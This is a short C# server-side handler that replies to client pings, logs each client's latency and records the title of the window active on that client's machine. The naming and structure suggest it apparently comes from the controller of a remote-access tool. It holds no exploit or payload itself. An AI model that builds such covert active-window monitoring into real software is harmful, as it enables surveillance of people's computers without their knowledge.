using System.Threading; using MessagePackLib.MessagePack; using Server.Connection; namespace Server.Handle_Packet; public class HandlePing { public void Ping(Clients client, MsgPack unpack_msgpack) { try { MsgPack msgPack = new MsgPack(); msgPack.ForcePathObject("Pac_ket").SetAsString("Po_ng"); ThreadPool.QueueUserWorkItem(client.Send, msgPack.Encode2Bytes()); client.info.activewin = unpack_msgpack.ForcePathObject("Message").AsString; Program.mainform.UpdateActWin(client); } catch { } } public void Po_ng(Clients client, MsgPack unpack_msgpack) { try { int num = (int)unpack_msgpack.ForcePathObject("Message").AsInteger; client.info.ping = $"{num} MS"; Program.mainform.UpdatePing(client); } catch { } } }